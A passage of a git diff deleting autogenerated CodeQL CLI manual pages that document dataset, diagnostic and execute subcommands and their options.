Import a set of TRAP files to a raw dataset.' -redirect_from: - - /code-security/codeql-cli/manual/dataset-import ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql dataset import --dbscheme=<file> [--threads=<num>] <options>... -- <dataset> <trap>... -``` - -## Description - -\[Plumbing] Import a set of TRAP files to a raw dataset. - -Create a dataset by populating it with TRAP files, or add data from TRAP -files to an existing dataset. Updating a dataset is only possible if it -has the correct dbscheme _and_ its ID pool has been preserved from the -initial import. - -## Options - -### Primary Options - -#### `<dataset>` - -\[Mandatory] Path to the raw QL dataset to create or update. The -directory will be created if it doesn't already exist. - -#### `<trap>...` - -Paths to .trap(.gz) files to import, or to directories that will be -recursively scanned for .trap(.gz) files. If no files are given, an -empty dataset will be created. - -#### `-S, --dbscheme=<file>` - -\[Mandatory] The dbscheme definition that describes the TRAP files you -want to import. - -#### `-j, --threads=<num>` - -Use this many threads for the import operation. - -Defaults to 1. You can pass 0 to use one thread per core on the machine, -or -_N_ to leave _N_ cores unused (except still use at least one -thread). - -#### `--[no-]check-undefined-labels` - -\[Advanced] Report errors for undefined labels. - -#### `--[no-]check-unused-labels` - -\[Advanced] Report errors for unused labels. - -#### `--[no-]check-repeated-labels` - -\[Advanced] Report errors for repeated labels. - -#### `--[no-]check-redefined-labels` - -\[Advanced] Report errors for redefined labels. - -#### `--[no-]check-use-before-definition` - -\[Advanced] Report errors for labels used before they're defined. - -#### `--[no-]fail-on-trap-errors` - -\[Advanced] Exit non-zero if an error occurs during trap import. - -#### `--[no-]include-location-in-star` - -\[Advanced] Construct entity IDs that encode the location in the TRAP -file they came from. Can be useful for debugging of TRAP generators, but -takes up a lot of space in the dataset. - -#### `--[no-]linkage-aware-import` - -\[Advanced] Controls whether [codeql dataset import](/code-security/codeql-cli/codeql-cli-manual/dataset-import) is linkage-aware _(default)_ or not. On projects where this part of database creation -consumes too much memory, disabling this option may help them progress -at the expense of database completeness. - -Available since `v2.15.3`. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/dataset-measure.md b/content/code-security/codeql-cli/codeql-cli-manual/dataset-measure.md deleted file mode 100644 index f73c78805302..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/dataset-measure.md +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: dataset measure -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: |- - [Plumbing] Collect statistics about the relations in a particular - dataset. -redirect_from: - - /code-security/codeql-cli/manual/dataset-measure ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql dataset measure --output=<file> [--threads=<num>] <options>... -- <dataset> -``` - -## Description - -\[Plumbing] Collect statistics about the relations in a particular -dataset. - -This command is typically only used when developing a CodeQL extractor, -after a change that affects the database schema and which therefore -needs to have an accompanying change to the statistics used by the query -optimizer. - -## Options - -### Primary Options - -#### `<dataset>` - -\[Mandatory] Path to the raw QL dataset to measure. - -#### `-o, --output=<file>` - -\[Mandatory] The output file to which statistics should be written, -typically with a '.dbscheme.stats' extension. - -#### `-j, --threads=<num>` - -The number of concurrent threads to use. - -Defaults to 1. You can pass 0 to use one thread per core on the machine, -or -_N_ to leave _N_ cores unused (except still use at least one -thread). - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/dataset-upgrade.md b/content/code-security/codeql-cli/codeql-cli-manual/dataset-upgrade.md deleted file mode 100644 index 755fb440f3eb..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/dataset-upgrade.md +++ /dev/null @@ -1,265 +0,0 @@ ---- -title: dataset upgrade -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: '[Plumbing] Upgrade a dataset so it is usable by the current tools.' -redirect_from: - - /code-security/codeql-cli/manual/dataset-upgrade ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql dataset upgrade [--threads=<num>] [--ram=<MB>] <options>... -- <dataset> -``` - -## Description - -\[Plumbing] Upgrade a dataset so it is usable by the current tools. - -This does the same as -[codeql database upgrade](/code-security/codeql-cli/codeql-cli-manual/database-upgrade) but works on a raw dataset rather than an entire database. - -## Options - -### Primary Options - -#### `<dataset>` - -\[Mandatory] Path to the raw QL dataset to upgrade. - -#### `--search-path=<dir>[:<dir>...]` - -A list of directories under which QL packs containing upgrade recipes -may be found. Each directory can either be a QL pack (or bundle of packs -containing a `.codeqlmanifest.json` file at the root) or the immediate -parent of one or more such directories. - -If the path contains directories trees, their order defines precedence -between them: if a pack name that must be resolved is matched in more -than one of the directory trees, the one given first wins. - -Pointing this at a checkout of the open-source CodeQL repository ought -to work when querying one of the languages that live there. - -(Note: On Windows the path separator is `;`). - -#### `--additional-packs=<dir>[:<dir>...]` - -\[Advanced] If this list of directories is given, they will be searched -for upgrades before the ones in `--search-path`. The order between these -doesn't matter; it is an error if a pack name is found in two different -places through this list. - -This is useful if you're temporarily developing a new version of a pack -that also appears in the default path. On the other hand it is _not -recommended_ to override this option in a config file; some internal -actions will add this option on the fly, overriding any configured -value. - -(Note: On Windows the path separator is `;`). - -#### `--target-dbscheme=<file>` - -The _target_ dbscheme we want to upgrade to. If this is not given, a -maximal upgrade path will be constructed - -#### `--target-sha=<sha>` - -\[Advanced] An alternative to `--target-dbscheme` that gives the -internal hash of the target dbscheme instead of the dbscheme file. - -#### `--[no-]allow-downgrades` - -Include any relevant downgrades if there are no upgrades - -### Options to control evaluation of upgrade queries - -#### `--[no-]tuple-counting` - -\[Advanced] Display tuple counts for each evaluation step in the query -evaluator logs. If the `--evaluator-log` option is provided, tuple -counts will be included in both the text-based and structured JSON logs -produced by the command. (This can be useful for performance -optimization of complex QL code). - -#### `--timeout=<seconds>` - -\[Advanced] Set the timeout length for query evaluation, in seconds. - -The timeout feature is intended to catch cases where a complex query -would take "forever" to evaluate. It is not an effective way to limit -the total amount of time the query evaluation can take. The evaluation -will be allowed to continue as long as each separately timed part of the -computation completes within the timeout. Currently these separately -timed parts are "RA layers" of the optimized query, but that might -change in the future. - -If no timeout is specified, or is given as 0, no timeout will be set -(except for [codeql test run](/code-security/codeql-cli/codeql-cli-manual/test-run), where the default timeout is 5 minutes). - -#### `-j, --threads=<num>` - -Use this many threads to evaluate queries. - -Defaults to 1. You can pass 0 to use one thread per core on the machine, -or -_N_ to leave _N_ cores unused (except still use at least one -thread). - -#### `--[no-]save-cache` - -\[Advanced] Aggressively write intermediate results to the disk cache. -This takes more time and uses (much) more disk space, but may speed up -the subsequent execution of similar queries. - -#### `--[no-]expect-discarded-cache` - -\[Advanced] Make decisions about which predicates to evaluate, and what -to write to the disk cache, based on the assumption that the cache will -be discarded after the queries have been executed. - -#### `--[no-]keep-full-cache` - -\[Advanced] Don't clean up the disk cache after evaluation completes. -This may save time if you're going to do [codeql dataset cleanup](/code-security/codeql-cli/codeql-cli-manual/dataset-cleanup) or [codeql database cleanup](/code-security/codeql-cli/codeql-cli-manual/database-cleanup) afterwards anyway. - -#### `--max-disk-cache=<MB>` - -Set the maximum amount of space that the disk cache for intermediate -query results can use. - -If this size is not configured explicitly, the evaluator will try to use -a "reasonable" amount of cache space, based on the size of the dataset -and the complexity of the queries. Explicitly setting a higher limit -than this default usage will enable additional caching which can speed -up later queries. - -#### `--min-disk-free=<MB>` - -\[Advanced] Set target amount of free space on file system. - -If `--max-disk-cache` is not given, the evaluator will try hard to -curtail disk cache usage if the free space on the file system drops -below this value. - -#### `--min-disk-free-pct=<pct>` - -\[Advanced] Set target fraction of free space on file system. - -If `--max-disk-cache` is not given, the evaluator will try hard to -curtail disk cache usage if the free space on the file system drops -below this percentage. - -#### `--external=<pred>=<file.csv>` - -A CSV file that contains rows for external predicate _\<pred>_. -Multiple `--external` options can be supplied. - -#### `--xterm-progress=<mode>` - -\[Advanced] Controls whether to show progress tracking during QL -evaluation using xterm control sequences. Possible values are: - -`no`: Never produce fancy progress; assume a dumb terminal. - -`auto` _(default)_: Autodetect whether the command is running in an -appropriate terminal. - -`yes`: Assume the terminal can understand xterm control sequences. The -feature still depends on being able to autodetect the _size_ of the -terminal, and will also be disabled if `-q` is given. - -`25x80` (or similar): Like `yes`, and also explicitly give the size of -the terminal. - -`25x80:/dev/pts/17` (or similar): show fancy progress on a _different_ -terminal than stderr. Mostly useful for internal testing. - -### Options for controlling outputting of structured evaluator logs - -#### `--evaluator-log=<file>` - -\[Advanced] Output structured logs about evaluator performance to the -given file. The format of this log file is subject to change with no -notice, but will be a stream of JSON objects separated by either two -newline characters (by default) or one if the `--evaluator-log-minify` -option is passed. Please use `codeql generate log-summary <file>` to -produce a more stable summary of this file, and avoid parsing the file -directly. The file will be overwritten if it already exists. - -#### `--evaluator-log-minify` - -\[Advanced] If the `--evaluator-log` option is passed, also passing -this option will minimize the size of the JSON log produced, at the -expense of making it much less human readable. - -### Options to control RAM usage of the upgrade process - -#### `-M, --ram=<MB>` - -The query evaluator will try hard to keep its total memory footprint -below this value. (However, for large databases it is possible that the -threshold may be broken by file-backed memory maps, which can be swapped -to disk in case of memory pressure). - -The value should be at least 2048 MB; smaller values will be -transparently rounded up. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/diagnostic-add.md b/content/code-security/codeql-cli/codeql-cli-manual/diagnostic-add.md deleted file mode 100644 index 154a544b6b59..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/diagnostic-add.md +++ /dev/null @@ -1,167 +0,0 @@ ---- -title: diagnostic add -intro: '[Experimental] [Plumbing] Add a piece of diagnostic information.' -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -redirect_from: - - /code-security/codeql-cli/manual/diagnostic-add ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql diagnostic add (--diagnostic-dir=<diagnosticDir>) --source-id=<id> --source-name=<name> <options>... -``` - -## Description - -\[Experimental] \[Plumbing] Add a piece of diagnostic information. - -Available since `v2.12.6`. - -## Options - -### Primary Options - -#### `--markdown-message=<markdownMessage>` - -Message for the diagnostic, in GitHub-flavored Markdown format. - -#### `--plaintext-message=<plaintextMessage>` - -Message for the diagnostic, in plain text. This option should only be -used when populating a Markdown message with --markdown-message is not -practical. - -#### `--severity=<severity>` - -Severity of the diagnostic. Can be "error", "warning", or "note". - -#### `--help-link=<helpLinks>` - -Help links relevant to the diagnostic. - -#### `--attributes-json=<attributesJson>` - -Structured metadata relevant to the diagnostic. - -### Options specifying where to save the diagnostic information - -Exactly one of these options must be given. - -#### `--diagnostic-dir=<diagnosticDir>` - -Directory to which we should add the diagnostic. - -### Options that indicate where the diagnostic message can be displayed - -#### `--ready-for-status-page` - -Indicate that the diagnostic is suitable for display on the status page. - -#### `--ready-for-cli-summary-table` - -Indicate that the diagnostic is suitable for display in the diagnostics -summary table printed by commands like `database analyze`. - -### Options describing the source of the diagnostic - -#### `--source-id=<id>` - -\[Mandatory] An identifier for the source of this diagnostic. - -#### `--source-name=<name>` - -\[Mandatory] A human-readable description of the source of this -diagnostic. - -#### `--extractor-name=<extractorName>` - -The name of the CodeQL extractor, if this diagnostic was produced by a -CodeQL extractor. - -### Options describing the diagnostic's location - -#### `--file-path=<file>` - -The path of the file to which the diagnostic applies, relative to the -source root. - -#### `--start-line=<startLine>` - -The 1-based line number (inclusive) where the diagnostic's location -starts. - -#### `--start-column=<startColumn>` - -The 1-based column number (inclusive) where the diagnostic's location -starts. - -#### `--end-line=<endLine>` - -The 1-based line number (inclusive) where the diagnostic's location -ends. - -#### `--end-column=<endColumn>` - -The 1-based column number (inclusive) where the diagnostic's location -ends. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/diagnostic-export.md b/content/code-security/codeql-cli/codeql-cli-manual/diagnostic-export.md deleted file mode 100644 index 983cd917749d..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/diagnostic-export.md +++ /dev/null @@ -1,134 +0,0 @@ ---- -title: diagnostic export -intro: '[Experimental] Export diagnostic information for a failed analysis.' -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -redirect_from: - - /code-security/codeql-cli/manual/diagnostic-export ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql diagnostic export --format=<format> [--output=<output>] <options>... -``` - -## Description - -\[Experimental] Export diagnostic information for a failed analysis. - -Available since `v2.12.6`. - -## Options - -### Primary Options - -#### `--format=<format>` - -\[Mandatory] The format in which to write the results. One of: - -`raw`: A list of raw, uninterpreted diagnostic messages as JSON objects. - -`sarif-latest`: Static Analysis Results Interchange Format (SARIF), a -JSON-based format for describing static analysis results. This format -option uses the most recent supported version (v2.1.0). This option is -not suitable for use in automation as it will produce different versions -of SARIF between different CodeQL versions. - -`sarifv2.1.0`: SARIF v2.1.0. - -`text`: A bullet point list of diagnostic messages. - -#### `-o, --output=<output>` - -The output path to write diagnostic information to. - -#### `--sarif-exit-code=<sarifExitCode>` - -\[SARIF formats only] Exit code of the failing process. - -#### `--sarif-exit-code-description=<sarifExitCodeDescription>` - -\[SARIF formats only] Reason that the failing process exited. - -#### `--sarif-category=<category>` - -\[SARIF formats only] \[Recommended] Specify a category for this -analysis to include in the SARIF output. A category can be used to -distinguish multiple analyses performed on the same commit and -repository, but on different languages or different parts of the code. - -If you analyze the same version of a code base in several different ways -(e.g., for different languages) and upload the results to GitHub for -presentation in Code Scanning, this value should differ between each of -the analyses, which tells Code Scanning that the analyses _supplement_ -rather than _supersede_ each other. (The values should be consistent -between runs of the same analysis for _different_ versions of the code -base.) - -This value will appear (with a trailing slash appended if not already -present) as the `<run>.automationDetails.id` property. - -#### `--diagnostic-dir=<diagnosticDirs>` - -Directory containing CodeQL diagnostic messages. You can pass this -multiple times to include multiple directories. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/execute-cli-server.md b/content/code-security/codeql-cli/codeql-cli-manual/execute-cli-server.md deleted file mode 100644 index 2ebcd7997c6d..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/execute-cli-server.md +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: execute cli-server -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: |- - [Deep plumbing] Server for running multiple commands while avoiding - repeated JVM initialization. -redirect_from: - - /code-security/codeql-cli/manual/execute-cli-server ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql execute cli-server <options>... -``` - -## Description - -\[Deep plumbing] Server for running multiple commands while avoiding -repeated JVM initialization. - -## Options - -### Primary Options - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/execute-language-server.md b/content/code-security/codeql-cli/codeql-cli-manual/execute-language-server.md deleted file mode 100644 index 63deec03ee63..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/execute-language-server.md +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: execute language-server -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: '[Plumbing] On-line support for the QL language in IDEs.' -redirect_from: - - /code-security/codeql-cli/manual/execute-language-server ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql execute language-server --check-errors=<checkErrors> <options>... -``` - -## Description - -\[Plumbing] On-line support for the QL language in IDEs. - -This command is only relevant for authors of QL language extensions for -IDEs. It is started by the IDE extension in the background and -communicates with it through a special protocol on its standard input -and output streams. - -## Options - -### Primary Options - -#### `--check-errors=<checkErrors>` - -\[Mandatory] How to check errors. One of: ON\_CHANGE, EXPLICIT. - -#### `--search-path=<dir>[:<dir>...]` - -This works like the similar option to [codeql query compile](/code-security/codeql-cli/codeql-cli-manual/query-compile) (q.v.). - -There are no `--additional-packs` or `--library-path` options, as the -corresponding values are provided online by the IDE extension through -the language server protocol. - -(Note: On Windows the path separator is `;`). - -#### `--synchronous` - -Carry out actions a single main thread rather than in a threaded -executor. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/execute-queries.md b/content/code-security/codeql-cli/codeql-cli-manual/execute-queries.md deleted file mode 100644 index 4a41d494afc1..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/execute-queries.md +++ /dev/null @@ -1,436 +0,0 @@ ---- -title: execute queries -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: '[Plumbing] Run one or more queries against a dataset.' -redirect_from: - - /code-security/codeql-cli/manual/execute-queries ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql execute queries [--output=<dir|file.bqrs>] [--threads=<num>] <options>... -- <dataset> <query|dir|suite|pack>... -``` - -## Description - -\[Plumbing] Run one or more queries against a dataset. - -This command should not normally be invoked directly. Instead use either -[codeql database run-queries](/code-security/codeql-cli/codeql-cli-manual/database-run-queries) or [codeql query run](/code-security/codeql-cli/codeql-cli-manual/query-run), which will start [codeql execute queries](/code-security/codeql-cli/codeql-cli-manual/execute-queries) with specific JVM options to tune the performance of the QL evaluator. - -## Options - -### Primary Options - -#### `<dataset>` - -\[Mandatory] Path to the raw QL dataset to query. - -#### `<query|dir|suite|pack>...` - -\[Mandatory] Queries to execute. Each argument is in the form -`scope/name@range:path` where: - -* `scope/name` is the qualified name of a CodeQL pack. -* `range` is a semver range. -* `path` is a file system path. - -If a `scope/name` is specified, the `range` and `path` are optional. A -missing `range` implies the latest version of the specified pack. A -missing `path` implies the default query suite of the specified pack. - -The `path` can be one of a `*.ql` query file, a directory containing one -or more queries, or a `.qls` query suite file. If there is no pack name -specified, then a `path` must be provided, and will be interpreted -relative to the current working directory of the current process. - -To specify a `path` that contains a literal `@` or `:`, use `path:` as a -prefix to the argument, like this: `path:directory/with:and@/chars`. - -If a `scope/name` and `path` are specified, then the `path` cannot be -absolute. It is considered relative to the root of the CodeQL pack. - -#### `-o, --output=<dir|file.bqrs>` - -Usually this is an existing directory into which the BQRS output from -the queries will be written. Filenames _within_ this directory will be -derived from the QL file names. - -Alternatively, if there is exactly one query to run, it may be the name -of the actual BQRS file to write, or may be omitted to write a -human-readable representation of the results to standard output. - -#### `--no-rerun` - -Omit evaluation of queries that already seem to have a BQRS result -stored in the output location. - -### Options to control the model packs to be used - -#### `--model-packs=<`<name@range>>... - -A list of CodeQL pack names, each with an optional version range, to be -used as model packs to customize the queries that are about to be -evaluated. - -### Options to control the threat models to be used - -#### `--threat-model=<name>...` - -A list of threat models to enable or disable. - -The argument is the name of a threat model, optionally preceded by a -'!'. If no '!' is present, the named threat model and all of its -descendants are enabled. If a '!' is present, the named threat model -and all of its descendants are disabled. - -The 'default' threat model is enabled by default, but can be disabled -by specifying '--threat-model !default'. - -The 'all' threat model can be used to enable or disable all threat -models. - -The --threat-model options are processed in order. For example, -'--threat-model local --threat-model !environment' enables all of -the threat models in the 'local' group except for the 'environment' -threat model. - -This option only has an effect for languages that support threat models. - -Available since `v2.15.3`. - -### Options to control the query evaluator - -#### `--[no-]tuple-counting` - -\[Advanced] Display tuple counts for each evaluation step in the query -evaluator logs. If the `--evaluator-log` option is provided, tuple -counts will be included in both the text-based and structured JSON logs -produced by the command. (This can be useful for performance -optimization of complex QL code). - -#### `--timeout=<seconds>` - -\[Advanced] Set the timeout length for query evaluation, in seconds. - -The timeout feature is intended to catch cases where a complex query -would take "forever" to evaluate. It is not an effective way to limit -the total amount of time the query evaluation can take. The evaluation -will be allowed to continue as long as each separately timed part of the -computation completes within the timeout. Currently these separately -timed parts are "RA layers" of the optimized query, but that might -change in the future. - -If no timeout is specified, or is given as 0, no timeout will be set -(except for [codeql test run](/code-security/codeql-cli/codeql-cli-manual/test-run), where the default timeout is 5 minutes). - -#### `-j, --threads=<num>` - -Use this many threads to evaluate queries. - -Defaults to 1. You can pass 0 to use one thread per core on the machine, -or -_N_ to leave _N_ cores unused (except still use at least one -thread). - -#### `--[no-]save-cache` - -\[Advanced] Aggressively write intermediate results to the disk cache. -This takes more time and uses (much) more disk space, but may speed up -the subsequent execution of similar queries. - -#### `--[no-]expect-discarded-cache` - -\[Advanced] Make decisions about which predicates to evaluate, and what -to write to the disk cache, based on the assumption that the cache will -be discarded after the queries have been executed. - -#### `--[no-]keep-full-cache` - -\[Advanced] Don't clean up the disk cache after evaluation completes. -This may save time if you're going to do [codeql dataset cleanup](/code-security/codeql-cli/codeql-cli-manual/dataset-cleanup) or [codeql database cleanup](/code-security/codeql-cli/codeql-cli-manual/database-cleanup) afterwards anyway. - -#### `--max-disk-cache=<MB>` - -Set the maximum amount of space that the disk cache for intermediate -query results can use. - -If this size is not configured explicitly, the evaluator will try to use -a "reasonable" amount of cache space, based on the size of the dataset -and the complexity of the queries. Explicitly setting a higher limit -than this default usage will enable additional caching which can speed -up later queries. - -#### `--min-disk-free=<MB>` - -\[Advanced] Set target amount of free space on file system. - -If `--max-disk-cache` is not given, the evaluator will try hard to -curtail disk cache usage if the free space on the file system drops -below this value. - -#### `--min-disk-free-pct=<pct>` - -\[Advanced] Set target fraction of free space on file system. - -If `--max-disk-cache` is not given, the evaluator will try hard to -curtail disk cache usage if the free space on the file system drops -below this percentage. - -#### `--external=<pred>=<file.csv>` - -A CSV file that contains rows for external predicate _\<pred>_. -Multiple `--external` options can be supplied. - -#### `--xterm-progress=<mode>` - -\[Advanced] Controls whether to show progress tracking during QL -evaluation using xterm control sequences. Possible values are: - -`no`: Never produce fancy progress; assume a dumb terminal. - -`auto` _(default)_: Autodetect whether the command is running in an -appropriate terminal. - -`yes`: Assume the terminal can understand xterm control sequences. The -feature still depends on being able to autodetect the _size_ of the -terminal, and will also be disabled if `-q` is given. - -`25x80` (or similar): Like `yes`, and also explicitly give the size of -the terminal. - 